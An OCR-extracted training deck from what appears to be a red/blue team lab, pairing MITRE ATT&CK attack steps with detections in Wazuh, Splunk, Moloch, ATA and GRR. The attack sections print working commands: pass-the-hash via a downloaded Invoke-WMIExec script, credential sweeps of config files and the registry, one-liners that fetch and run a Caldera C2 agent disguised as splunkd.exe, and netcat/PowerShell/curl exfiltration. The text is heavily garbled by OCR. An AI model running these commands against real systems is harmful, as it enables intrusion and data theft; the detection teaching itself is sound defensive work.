D) index > Sep 14, 2020 @ 18:01:32.384 { “"input”: { "type”: "log” }, “"agent”: { "ip": "10.10.10.5", “"name”: "EMPLOYEE-RW1", "id": "@02" }, "manager”: { "name": “"wazuhmanager” },
®» _score "data”": { "win": { "eventdata": { "originalFileName”: "net.exe”, "image”: "C:\\\\Windows\\\\System32\\\\net.exe”, "product”: "Microsofte W
indows® Operating System”, "parentProcessGuid”: "{bb9cB845a-626b-5f5f-fd12-00000800801200}", "description”: "Net Command”, "logonGuid": "{bb9
® _type cP45a-626b-5f51-8a62-2d0eBBBBBBBO} ", "parentCommandLine”: "\\\"cmd.exe\\\"", "processGuid"”: "{bb9cB845a-629b-5f5f-ff12-0666000012608}", "log
onId": "Oxe2d628a", “"parentProcessId”: "108456", "processId": "7508", “currentDirectory”: "C:\\\\Windows\\\\system32\\\\", “utcTime": "2020
£ data.aws.createdAt -89-14 12:31:23.578", “"hashes"”: "MD5=A63DF9A6E9098CC189F2A3EFC376080F6, SHA256=96CDFD7B263947A6A7C0DB54141A6B8D7777DBBAO3A17CBF95666D98422F9
B 37B, IMPHASH=57FBC47AE2ATA2C06C8B987372ABBBO7 ", "parentImage”: "C:\\\\Windows\\\\System32\\\\cmd.exe", "company"”: "Microsoft Corporation”,
data.aws.end




/. DISCOVERY

7.2 Discovery Linux [Network Service Scanning - T1046]

7.2.A Attack: -

Internal Network Service Discovery:

nmap -sC 10.10.10.0/24 --top-ports 5
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7.2.B Detection: -

Discover initiated Network Connection using Network Traffic Monitor
Active Defence — DTE0036 (Software Manipulation)
— DTE 0012 (Decoy System)

< C A Not secure | 172.16.1.15:8005/connections?graphType=IpHisto&seriesType=bars&expression=ip.src%20%3D%3D%20%2010.10.10.6 Yo O @ a8 » o

é Sessions SPIView SPIGraph Connections Hunt Files Stats History Settings

Q. fpsic = 10.10.108 «~ 3L

® Last hour Start 2020/09/14 16:31:02 M M End 2020/09/14 17:31:02 M M Bounding Last Packet Interval Auto 01:00:00
Query Size 100 Src IP .-~ Dst IP:Dst Port m Min. Connections 1 Node/Link Weight Sessions o’ Unlock & Export a
10.10.10.6 x
+1 | TA |
Type Source
Links 12 @ 91.189.89.199:123 -1||1A | &
Sessions 73 @ 91.189.91.157:123
bytes 4,827,682
databytes 4,310,728 B — © 45.33.84.208:123
packets 11,666 ' o

node NetworkMonitor O 8.8.8.853
Expressions AND OR

¥ Hide Node

010,10 10.3:22

@ 10.10.10.3:21

@ 209.222.98 61:123

( ) 10.10.10.1:80
© 224.0.0.251:5353

© 91.189.89.198:123

© 172.16.1.14:8080
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8. LATERAL MOVEMENT

8.1 Lateral Movement Windows [Use Alternate Authentication Material - T1550.002]

8.1.A Attack: -

Use Alternate Authentication Material
1.1) Download Lateral Movement Script from Payload-Server:

iwr -usebasicparsing http://192.168.250.100/Invoke-WMIExec.psl -OutFile Invoke-WMIExec.psl

1.2) Execute Lateral Movement Attack on Domain Controller using Pass-the-Hash (PTH):

Invoke-WMIExec -Target 10.10.10.2 -Domain cyberwarfare -Username administrator -Hash
©3D1BBD771D9D72827199B9F815635AB -Command "notepad.exe" -verbose
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http://192.168.250.100/Invoke-WMIExec.ps1

 Detection: -

Detecting Lateral Movement Attack using Advance Threat Analytics [ATA]
Active Defence — DTEO007 (Behavioural Analytics)

* O e » @ :

< C A Notsecure | 172.16.1.11/suspiciousActivity/5f5e09df135¢ca905cc059b26
Q F | @ E§ Microsoft

Microsoft Advanced Threat Analytics | Remote execution attempt detected

Remote execution attempt detected
The following remote execution attempts, which may indicate that Administrator's credentials were compromised, were performed on
ENTERPRISE-DC from EMPLOYEE-RW1:

o Successful remote execution of WMI method Win32_Process create by Administrator.

5:27 ef 2
~ emote executior
/A
- /\
0 = o (—0
Administrator EMPLOYEE-RW1 ENTERPRISE-DC




8. LATERAL MOVEMENT

8.2 Lateral Movement Linux [Remote Services - T1021.004]

8.2.A Attack: -

Access Remote machine by abusing Remote Services (SSH): -

ssh -D 9999 empl@CYBERWARFARE.CORP@10.10.10.3

Pass: Serious@963
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mailto:emp1@CYBERWARFARE.CORP@10.10.10.3

8.2.B Detection: -

Detecting SSH Connection using Network Monitoring
Active Defence — DTE0027 (Network Monitoring)

o C A Notsecure | 172.16.1.15:8005/sessions?graphType=IpHisto&seriesType=bars&expression=ip.src%20%3D%3D%20%2010.10.10.6%20%26%26%20ip.dst%20%3D%30%2010.10.10.3 #w 0O 9D 8 % 0

é Sessions SPIView SPIGraph Connections Hunt Files Stats History Settings

Q | ip.src == 10.10.10.6 && ip.dst == 10.10.10.3 x %.

® Lasthour Start | 2020/09/14 17:11:12 M M  End 2020/09/14 18:11:12 M M Bounding LastPacket Interval  Auto 01:00:00
50 per page 1 Showing 1 - 20 of 20 entries
E E v Start Time Stop Time Src IP / Country Src Port Dst IP / Country Dst Port Packets Databytes / Moloch Info E
Bytes Node
. tcp 2020/09/14 2020/09/14 10.10.106 50044 10.10.10.3 22 18 2,308 NetworkMonitor
17:29:03 17:29:03 3,512
. tep 2020/09/14 2020/09/14 10.10.106 50040 10.10.10.3 22 15 1,612 NetworkMonitor
17:29:03 17:29:03 2,618
. tep 2020/09/14 2020/09/14 10.10.106 50036 10.10.10.3 22 15 1,612 NetworkMonitor
17:29:02 17:29:03 2,618
- tcp 2020/09/14 2020/09/14 10.10.10.6 50028 10.10.10.3 22 18 2,388 NetworkMonitor
17:29.02 17:29:02 3,592
. tp 2020/09/14 2020/09/14 10.10.10.6 50014 10.10.10.3 22 18 2,724 NetworkMonitor
17:29:02 17:29:02 3,928
. tcp 2020/09/14 2020/09/14 10.10.10.6 50004 10.10.10.3 22 15 1,604 NetworkMonitor
17:29:01 17:29:03 2610
. tcp 2020/09/14 2020/09/14 10.10.10.6 49986 10.10.10.3 22 13 100 NetworkMonitor
17:29:01 17:29:01 974
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O. DATA COLLECTION

9.1 Data Collection Windows [Data from Local System - T1005]

9.1.A Execution: -

Collecting password from registry: -

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon
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9.1.B Detection: -

Detecting registry query using Host based Attack Monitoring [ELK + Wazuh (HIDS)]
Active Defence — DTE0030 — Pocket Litter

< » C A Notsecure | 172.16.1.13/app/kibana#/discover?_g=(filters:!(),refreshinterval:(pause:!t value:0), time:(from:now-15m,to:now))&_a=(columns:!(_source) filters:|(('$state’s(store:appState)met.. ¢ O © @ R 0 E
= G . Discover (@)
New Save Open Share Inspect

@ v Search KQL v Last 15 minutes Show dates C Refresh

® | agent.ip:10.10.10.5 X | + Add filter

wazuh-archives-3.x-* v < 56 hits
Q s h field Sep 15, 2020 @ 00:07:14.864 - Sep 15, 2020 @ 00:22:14.864 — Auto v
earcn rield names
® Filter by type 0 20
Selected fields = 15
=
<> _source 8 10
Available fields 5 . .
. : -—— i I (U0 | = I
t agent.id 00:05:00 00:06:00 00:07:00 00:08:00 00:09:00 00:10:00 00:11:00 00:12:00 00:13:00 00:14:00 00:15:00 00:16:00 00:17:00 00:18:00 00:19:00 00:20:00 00:21:00 00:22:00
timestamp per 30 seconds
t agent.ip
Time + _source

t data.win.system.channel
> Sep 15, 2020 @ 60:22:083.817

¢t location agent.ip: 10.10.10.5 input.type: log agent.name: EMPLOYEE-RW1 agent.id: 0862 manager.name: wazuhmanager
id data.win.eventdata.originalFileName: reg.exe data.win.eventdata.image: C:\\Windows\\System32\\reg.exe
t i
data.win.eventdata.product: Microsoft® Windows® Operating System data.win.eventdata.parentProcessGuid: {bb9c845a-b936-5f5f-7113-
t _index

000000001200} data.win.eventdata.description: Registry Console Tool data.win.eventdata.logonGuid: {bb9cB845a-b936-5f5f-5357-630e000600000}
# _score data.win.eventdata.parentCommandLine: \"cmd.exe\" data.win.eventdata.processGuid: {bb9cB45a-bbca-5f5f-7713-600000001200}



O. DATA COLLECTION

9.2 Data Collection Linux [Data from Local System - T1005]

9.2.A Attack: -

Data from Local System-

find / -maxdepth 4 -name '*.conf' -type f -exec grep -Hn
'pass\|password\|login\|username\|email\|mail\|host\|ip' {} \; 2>/dev/null
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9.2.B Detection: -

Detecting discovery of sensitive files using Host based Attack Monitoring [ELK + Wazuh (HIDS)]
Active Defence — DTEO030 — Pocket Litter

O

< [ & A Not secure | 172.16.1.13/app/kibana#/discover?_g=(filters:!(),refreshinterval:(pause:!t,value:0),time:(from:now-15m,to:now))&_a=(columns:!(_source) filters:!(('$state:(store:appState),met... ¥ O 2 8 = @ :
= "., . Discover (@)
New Save Open Share Inspect

B~ find KQL ~  Last 15 minutes Show dates C Refresh

3 | agent.ip:10.1010.6 X |+ Add filter

wazuh-archives-3.x-* 2,192 hits
Q S h field Sep 15, 2020 @ 00:00:34.050 - Sep 15, 2020 @ 00:15:34.050 — Auto v
earc e names
& Filter by type o 1000
Selected fields = 800
g 600
<> _source S
400
Available fields 200
Popular o
t agent.id 23:59:00 00:00:00 00:01:00 00:02:00 00:03:00 00:04:00 O -00 00:02:00 00:10:00 00:11:00 00:12:00 00:13:00 00:14:00 00:15:00
timestamp per 30 seconds
t agent.ip
Time - _source

t location

> Sep 15, 2020 @ 00:15:02.503

t _id agent.ip: 10.10.10.6 data.audit.command: find full_log: type=SYSCALL msg=audit(16001089698.785:60425): arch=c888863e syscall=257

B e success=no exit=-13 aB=8 a1=560b89336e38 a2=30960 a3=0 items=1 ppid=75988 pid=76210 auid=1489481118 uid=14894081118 gid=1489408513
euid=1489401118 suid=1489481118 fsuid=1489481118 egid=1489480513 sgid=14894080513 fsgid=14894808513 tty=ptsB ses=548 comm="find"

el SEDLE exe="/usr/bin/find"” key="auditlog"” type=PATH msg=audit(16601089098.785:68425): item=08 name="audit" inode=2376912 dev=88:81 mode=08408750

t _type ouid=8 ogid=4 rdev=00:08 nametype=NORMAL cap_fp=8 cap_fi=08 cap_fe=0 cap_fver=0 cap_frootid=6 type=PROCTITLE

t agent.name , R
> Sep 15, 2020 @ ©808:15:02.498  ,gent.ip: 18.10.10.6 data.audit.command: find full_log: type=SYSCALL msg=audit(1668189898.781:68423): arch=c080003e syscall=59

t| ‘data:audit.arch success=no exit=-2 aB=7ffd93052baB a1=560b89333788 a2=7ffd930538b8 a3=7f74f1e59340 items=1 ppid=76210 pid=76647 auid=1489461118
t data.audit.auid uid=1489461118 gid=14894668513 euid=1489481118 suid=14894681118 fsuid=1489481118 egid=14894088513 sgid=14894808513 fsgid=1489406513 tty=ptse
t| data.audit.command ses=548 comm="find" exe="/usr/bin/find" key=(null) type=PATH msg=audit(160061089898.781:608423): item=8 name="/sbin/grep” nametype=UNKNOWN

cap_fp=8 cap_fi=8 cap_fe=8 cap_fver=8 cap_frootid=0 type=PROCTITLE msg=audit(1660109898.781:60423):
t data.audit.directory.inode



WINDOWS

LINUX

QAI['9IRIIEMIDAOD

»VWe

g

&

2.  Web Protocol
Command & Control (WINDOWS)

Windows-Mach ]\

-

2. Web Protocol JPta
Command & Control (LINUX) -~ C
000N OOIONIONIOLIOINIOONIDS

c—

Linux-Machine

COMMAND & CONTROL

b. Detect C2 beacon communication using
Network Traffic Monitor

Detect External
Network communication

Caldera C2 Server

Firewall IR 1. Collecting Data from Local

RN system (LINUX)

S<

1. Collecting Data from Local ~<
system (WINDOWS)

Attacker

@cyberwarfare.live

@cyberwarfare.live

100



10. COMMAND AND CONTROL

10.1 Command & Control Windows [Application Layer Protocol - T1071.001]
10.1.A Attack: -

Caldera C2 server Network Communication:

$server="http://192.168.250.12:8888";%url="¢$server/file/download" ; $wc=New-Object
System.Net.WebClient;$wc.Headers.add("platform"”, "windows") ;$wc.Headers.add("file", "sandcat
.go");$data=%$wc.DownloadData($url); $name=$wc.ResponseHeaders["Content-
Disposition"].Substring($wc.ResponseHeaders["Content-
Disposition"].IndexOf("filename=")+9).Replace(" "","");get-process | ?

{$ .modules.filename -like "C:\Users\Public\$name.exe"} | stop-process -f;rm -force
"C:\Users\Public\$name.exe" -ea
ignore;[io.file]::WriteAllBytes("C:\Users\Public\$name.exe",$data) | Out-Null;Start-
Process -FilePath C:\Users\Public\$name.exe -ArgumentList "

WindowStyle hidden;

-server $server -group red" -

101




10.1.B Detection: -

Detecting C2 beacon execution using Host based Attack Monitoring [ELK + Wazuh (HIDS)]
Active Defence — DTE0027 — Network Monitoring

< c A Not secure | 172.16.1.13/app/kibana#/discover?_g=(filters:!(),refreshinterval:(pause:!t,value:0) time:(from:now-15m,to:now))&_a=(columns:!(_source) filters:|(('$state"s(store:appState)met.. % O @ B B 0 :
= ". . Discover (9] &

New Save Open Share Inspect

B v [Search KQL v Last 15 minutes Show dates C Refresh

& | agent.ip:10.10.10.5 X | + Add filter

wazuh-archives-3.x-* v < 395 hits
Q s h field Sep 14, 2020 @ 18:39:07.570 - Sep 14, 2020 @ 18:54:07.570 — Auto v
earcn riela names
) 300
& Filter by type 0 -
Selected fields = 200
S
<> _source 8 150
100
Available fields 50 -
Popular 0
t agentid 18:40:00 18:41:00 18:42:00 18:43:00 18:44:00 18:47:00 8:48:00 8:49:00 18:50:00 18:51:00 18:52:00 18:53:00
timestamp per 30 seconds
t agent.ip
Time « _source

t data.win.system.channel

) doration > Sep 14, 2020 @ 18:53:21.412  4gent.ip: 10.10.10.5 input.type: log agent.name: EMPLOYEE-RW1 agent.id: 082 manager.name: wazuhmanager
A data.win.eventdata.destinationPort: 8888 data.win.eventdata.image: C:\\Users\\Public\\splunkd.exe data.win.eventdata.sourcePort: 56314
| =t
data.win.eventdata.initiated: true data.win.eventdata.destinationIp: 192.168.256.12 data.win.eventdata.protocol: tcp
t _index

data.win.eventdata.processGuid: {bb9cB45a-6ebc-5f5f-1213-666000001260} data.win.eventdata.sourcelp: 10.10.10.5

# _score data.win.eventdata.processId: 9468 data.win.eventdata.sourceHostname: EMPLOYEE-RW1.cyberwarfare.corp data.win.eventdata.utcTime: 2628-



10. COMMAND AND CONTROL

10.2 Command & Control Linux [Application Layer Protocol - T1071.001]

10.2.A Attack: -

Caldera C2 server Network Communication:

server="http://192.168.250.12:8888";curl -s -X POST -H "file:sandcat.go" -H
"platform:1linux" $server/file/download > sandcat.go;chmod +x sandcat.go;./sandcat.go -
server $server -group red -v
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10.2.B Detection: -
Detect C2 beacon communication using Network Traffic Monitor
Active Defence — DTE0027 — Network Monitoring

< C A Notsecure | 172.16.1.15:8005/sessions?graphType=IpHisto&iseriesType=bars&expression=ip.src%20%3D%30%20%2010.10.10.6%20%26%26%20ip.dst%20%3D%3D%20192.168250.12 % QO @ @ * 0 :

,;‘é Sessions SPIView SPIGraph Connections Hunt Files Stats History Settings

Q | ip.src== 10.10.10.6 && ip.dst == 192.168.250.12

® Last hour Start | 2020/09/14 18:05:49 M M End 2020/09/14 19:05:49 M M Bounding Last Packet Interval = Auto 01:00:00
50 per page 1 Showing 1 - 8 of 8 entries
E E v Start Time ~ Stop Time  Src IP/ Country Src Port Dst IP / Country Dst Port Packets ‘ Databytes / Moloch Info E
Bytes Node

. tcp 2020/09/14 2020/09/14 10.10.10.6 59930 192.168.250.12 8888 24 1,020 NetworkMonitor | URI ~ | 192.168.250.12:8888/beacon
18:55:55 18:55:55 3,656

. tcp 2020/09/14 2020/09/14 10.10.10.6 59928 192.168.250.12 8888 9,919 5,960,037 NetworkMonitor ' URI~ | 192.168.250.12:8888/file/download
18:55:55 18:55:55 12,582,600

. tcp 2020/09/14 2020/09/14 10.10.10.6 59926 192.168.250.12 8888 24 1,020 NetworkMonitor | URI ~ | 192.168.250.12:8888/beacon
18:55:32 18:55:32 3,656

. tcp 2020/09/14 2020/09/14 10.10.10.6 59924 192.168.250.12 8888 10,000 5,717,061 NetworkMonitor | URI ~ | 192.168.250.12:8888/file/download
18:55:32 18:55:32 11,949,010

. tcp 2020/09/14 2020/09/14 10.10.10.6 59924 192.168.250.12 8888 632 242 976 NetworkMonitor
18:55:32 18:55:32 694,184

. tcp 2020/09/14 2020/09/14 10.10.10.6 59922 192.168.250.12 8888 24 1,020 NetworkMonitor ' URI ~ | 192.168.250.12:8888/beacon
18:55:24 18:55:24 3,656

. tcp 2020/09/14 2020/09/14 10.10.10.6 59920 192.168.250.12 8888 10,000 5,689,549 NetworkMonitor | URI ~ | 192.168.250.12:8888/file/download
18:55:23 18:55:24 11,910,322

. tcp 2020/09/14 2020/09/14 10.10.10.6 59920 192.168.250.12 8888 809 270,488 NetworkMonitor
18:55:23 18:55:24 760,890



Detect External Network communication using Network based Attack monitoring [SPLUNK+ SURICATA (NIDS)]

- C A Notsecure | 172.16.1.12:8000/en-US/app/search/search?q=search%2010.10.10.6&display.page.search.mode=smart&dispatch.sample_ratio=1&earliest=-24h%40h&latest=now&sid=1... w* O @ @ R @

Splunk? enterprise App: Search & Reporting ¥ analyst1 v Messages ¥ Settings ¥ Activity v Help v Find

Search Analytics Datasets Reports Alerts Dashboards ﬂ‘ Search & Reporting

Save As v Close

New Search

10.10.10.6| Last 24 hours v
v 142 events (9/13/20 6:30:00.000 PM to 9/14/20 7:20:16.000 PM) No Event Sampling ¥ Job v > & 1 ® Smart Mode ¥
Events (142) Patterns Statistics Visualization

Format Timeline v — Zoom Out Thour per column

List v # Format 20 Per Page v 2 3 4 5 6 7 8 Next >

< Hide Fields = All Fields i Time Event

> 9/14/20 Sep 14 18:55:54 172.16.1.1 Sep 14 13:25:54 suricata[40547]: [1:2210044:2] SURICATA STREAM Packet with invalid timestamp [Classification: Generic Proto

SELECTED FIELDS
6:55:54.000 PM col Command Decode] [Priority: 3] {TCP} 10.10.10.6:59928 -> 192.168.250.12:8888

a host 1
Fesiiesd host = 1721611 source = udp:514 | sourcetype =
a sourcetype 1 > /14/20 Sep 14 18:55:54 172.16.1.1 Sep 14 13:25:54 suricata[40547]: [1:2210044:2] SURICATA STREAM Packet with invalid timestamp [Classification: Generic Proto

6:55:54.000 PM col Command Decode] [Priority: 3] {TCP} 10.10.10.6:59928 -> 192.168.250.12:8888

INTERESTING FIELDS
host = 1721611 source = udp:514 | sourcetype = *

# date_hour 18

# date_mday 2 > 9/14/20 Sep 14 18:55:54 172.16.1.1 Sep 14 13:25:54 suricata[40547]: [1:2210044:2] SURICATA STREAM Packet with invalid timestamp [Classification: Generic Proto
# date_minute 15 6:55:54.000 PM col Command Decode] [Priority: 3] {TCP} 10.10.10.6:59928 -> 192.168.250.12:8888
a date_month 1 host = 1721611 | source = udp:514 | sourcetype = *

# date_second 25
a date_wday 2

# date_year 1

a date_zone 1 host = 1721611 source = udp:514 | sourcetype =

> 9/14/20 Sep 14 18:55:54 172.16.1.1 Sep 14 13:25:54 suricata[40547]: [1:2210044:2] SURICATA STREAM Packet with invalid timestamp [Classification: Generic Proto
6:55:54.000 PM col Command Decode] [Priority: 3] {TCP} 10.10.10.6:59928 -> 192.168.250.12:8888

*
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11. DATA EXFILTRATION

11.1 Data Exfiltration Windows [Automated Exfiltration - T1020]
11.1.A Attack: -

Automated Exfiltration: -

Step 1: On the Attacker machine, start listening using ‘netcat’

nc6d.exe -nlvp 4445

Step 2: On Victim Machine

$file = Get-Content C:\Users\priv\Documents\file.txt
$key = (New-Object System.Text.ASCIIEncoding).GetBytes("FEZjEGYbbcyXQHgbZFAbgfo4r")
$securestring = new-object System.Security.SecureString
foreach ($char in $file.toCharArray()) {
$secureString.AppendChar($char)

}

$encryptedData = ConvertFrom-SecureString -SecureString $secureString -Key $key

Step 3: POST request from Victim Machine:

Invoke-WebRequest -Uri http://192.168.150.4 -Method POST -Body $encryptedData
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http://192.168.150.4/

11.1.B Detection: -

Active Defence - DTE©028 (PCAP Collection)
- DTE@O31 (Protocol Decoder)
Detecting exfiltrated data using packet Analysis [Network Monitor]

o (& A Not secure | 172.16.1.15:8005/sessions?graphType=IpHisto&seriesType=bars&expression=ip.dst%20%3D%3D%20192.168.150.4 Yo O @& a8 = @

poery Sessions SPIlView SPIGraph Connections Hunt Files Stats History Settings

Q  ip.dst == 192.168.150.4 = @-

©  Last hour Start = 2020/09/14 18:34:01 M M End 2020/09/14 19:34:01 K M  Bounding LastPacket Interval = Auto 01:00:00
50 per page 1 Showing 1 - 1 of 1 entries
T
TCP Flags~ SYN 1 SYN-ACK 1 ACK 5 PSH 2 RST 0 FIN 2 URG 0

Method~ POST
Hosts~ 192.168.150.4
User Agents ¥  Mozilla/5.0 (Windows NT, Windows NT 10.0; en-IN) WindowsPowerShell/5.1.18362.752
Request Headers ¥ connection content-length content-type host user-agent
Client Versions~ 1.1
Body MD5s ~ 7edd3b3ec9bba6551794953f86ff5f2a
libfile content type ¥  texi/plain

content-type Header~  application/x-www-form-urlencoded

Packets 200 [ natural l ascii I utf8 l hex ] Show Packets STl l-SEll &) Show Image & Files { © Show Info H UnXOR Brute GZip Header I UnXOR l Unbase64 l CyberChef ~

Source Destination

POST /HTTP/1.1

User-Agent: Mozilla/5 0 (Windows NT, Windows NT 10.0; en-IN) WindowsPowerShell/5.1.18362.752
Content-Type: application/x-www-form-urlencoded

Host: 192.168.150 4

Content-Length: 13

Connection: Keep-Alive

SensitiveData

Packets 200 [ natural l ascii | utf8 I hex H Show Packets Uncompress | lIBES el Rl =l R A SIS [ O Show Info ” UnXOR Brute GZip Header I UnXOR I Unbase64 ] CyberChef ~ =




11. DATA EXFILTRATION

11.2 Data Exfiltration Linux [Exfiltration Over Alternative Protocol - T1048]

11.2.B Attack: -

Exfiltration over Alternative Protocol (HTTP): -

curl -d ‘data=sensitivedata’ http://192.168.250.12:8888/data
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http://192.168.250.12:8888/data

11.2.B Detection: -

Active Defence - DTE@026 ( Network Manipulation )
Detecting exfiltrated data C2 IP address using SPLUNK + SURICATA [NIDS]

C A Notsecure | 172.16.1.12:8000/en-US/app/search/search?q=search%2010.10.10.6&display.page.search.mode=smart&dispatch.sample _ratio=1&earliest=-24h%40h&!latest=now8sid=1.. %* @ @ B R @

splunkr-:;- prise App: Search & Reporting ¥ analystl v Messages ¥ Settings ¥ Activity ¥ Help v Find

Search  Analytics  Datasets  Reports  Alerts  Dashboards . Search & Reporting

Save As v Close

New Search
10.10.10.6' Last 24 hours v
v 142 events (9/13/20 7:30:00.000 PM to 9/14/20 7:38:28.000 PM)  No Event Sampling ¥ Job v s & L ® Smart Mode v

Events (142) Patterns Statistics Visualization

Format Timeline v — Zoom Out thour per column
— — e — — --

List v # Format 20 PerPage ¥ [ 112 3 4 5 6 7 8 Next>
¢ Hide Fields = AllFields 1 Time Event

> 9/14/20 Sep 14 18:55:54 172.16.1.1 Sep 14 13:25:54 suricata[40547]: [1:2210044:2] SURICATA STREAM Packet with invalid timestamp [Classification: Generic Proto
SELECTED FIELDS

6:55:54.000 PM col Command Decode] [Priority: 3] {TCP} 10.10.10.6:59928 -> 192.168.250.12:8888

a host 1

PE— host = 1721611 | source = udp:514 | sourcetype = *



DIGITAL FORENSICS & INCIDENT RESPONSE

1. Perform Threat Hunting on compromised machine. (Process/Network Monitor etc) using Google Rapid Response [GRR]

< c A Not secure | 172.16.1.14:8000/#/hunts/CB90E725/results
@\ GRR User: analyst1 2020-09-14 16:19:39 UTC Sear
MANAGEMENT o [ {'é} [‘jj & ©
Cron Jobs
Status Hunt ID Creation time Start Time Duration Expiration time E:::::t Creator Description
Statistics
CONFIGURATION ® 6ESEASDS 2020-09-14 13:56:53 UTC 2020-09-14 13:57:24 UTC 2w 2020-09-28 13:57:24 UTC 100 analyst1 Network-Connection
Binaries
: Pid 1068
Settings Ppid 506
Artifacts Name svchost.exe
Exe C:\Windows\System32'\svchost exe
C:\Windows\System32\svchost.exe
Cmdline -k
netsvcs
Ctime 1596823281837517
Username NT AUTHORITY\SYSTEM
Status running
Nice 32
Cwd C:\Windows'\system32
Num threads 40
User cpu time 262.078125
System cpu time 181.25
Rss size 80596992
Vms size 46772224
Memory percent 0.9494587182998657
Family INET
Type SOCK_STREAM
Ip 10.10.10.4
Local address Port 49707
Ip 52.230.222 68
Remote address Port 443
State ESTABLISHED
Pid 1068
Family INET
Type SOCK_DGRAM
Ip 127.0.0.1

Local address Port 58185




DIGITAL FORENSICS & INCIDENT RESPONSE

2. Collecting Forensics evidence from compromised machine (Malicious Binary, C2 Beacon etc) by Google Rapid Response [GRR]

C A Not secure | 172.16.1.14:8000/#/clients/C.9561fd727510bcba/vfs/fs/os/C%253A/Users/Public/

(_
@ GRR

EMPLOYEE-
RW1 _cyberwarfare. corp
Status: @ 6 minutes ago

s Internal IP address

Host Information
Start new flows
Manage launched flows
Advanced~
MANAGEMENT
Cron Jobs
Hunts

Statistics
CONFIGURATION
Binaries
Settings
Artifacts

4

User: analysti

$Recycle.Bin
20200819

] 20200821
] 20200822

20200903
Documents and Settings
PerfLogs

.| Program Files

Program Files (x86)

| ProgramData

Recovery

| Sysmon

System Volume Information
Users

.| Administrator
.| Adversary
L. All Users

4. Default

4. Default User
4.l Public

Bommr ...l AccountPictures

.. Desktop
B .| Documents

.. Downloads

.. Libraries

R

os c:

=
Users

Music

Pictures

000 .,

Sysmon
Sysmon.zip

Videos

U

desktop.ini
mimikatz_exe
splunkd.exe

os C: Users

Public

Stats Download

Attribute Value

+ TYPE VFSFile

HASH
SIZE

Public

0

0

1811220

0

174

1030408

5402624

TextView

HexView

2020-09-14 13:54:42 UTC

Y

2019-03-19 04:52:52 UTC
2019-03-19 04:52:52 UTC
2020-08-18 19:23:23 UTC
2020-08-18 19:16:54 UTC
2019-03-19 04:52:52 UTC
2019-03-19 04:49:35 UTC
2020-09-09 18:58:02 UTC

2020-09-08 19:31:50 UTC

AFF40bject

AFF4Stream

VF SFile

Search Box

2019-03-19 04:52:44 UTC
2019-03-19 04:52:44 UTC
2020-08-18 19:17:36 UTC
2020-08-18 19:16:54 UTC
2019-03-19 04:52:44 UTC
2019-03-19 04:49:35 UTC
2020-09-09 18:58:01 UTC

2020-08-18 12:39:30 UTC

API Help

Report a problem

* O @ @ » @ :

E

= File list

aQ ©

'D Timeline >

2020-09-09 19:17:24 UTC
2020-09-09 19:17:24 UTC
2020-09-09 19:17:24 UTC
2020-09-09 19:17:24 UTC
2020-09-09 19:17:24 UTC
2020-09-09 19:17:24 UTC
2020-09-09 19:17:24 UTC

2020-09-09 19:17:24 UTC

HEAD ~

Age

2020-09-09 19:17:24 UTC

GRR Version 3.4.2.0



THANK YOU

In case of any difficulties or queries, feel free to mail us at
support@cyberwarfare.live

e Follow us on:
e LinkedIn: https://www.linkedin.com/company/cyberwarfare/
o Twitter: https://twitter.com/cyberwarfarelab

* For More Information Visit :
 Red/ Blue Team Lab : https://cyberwarfare.live
* Red / Blue Team Blog: https://blog.cyberwarfare.live
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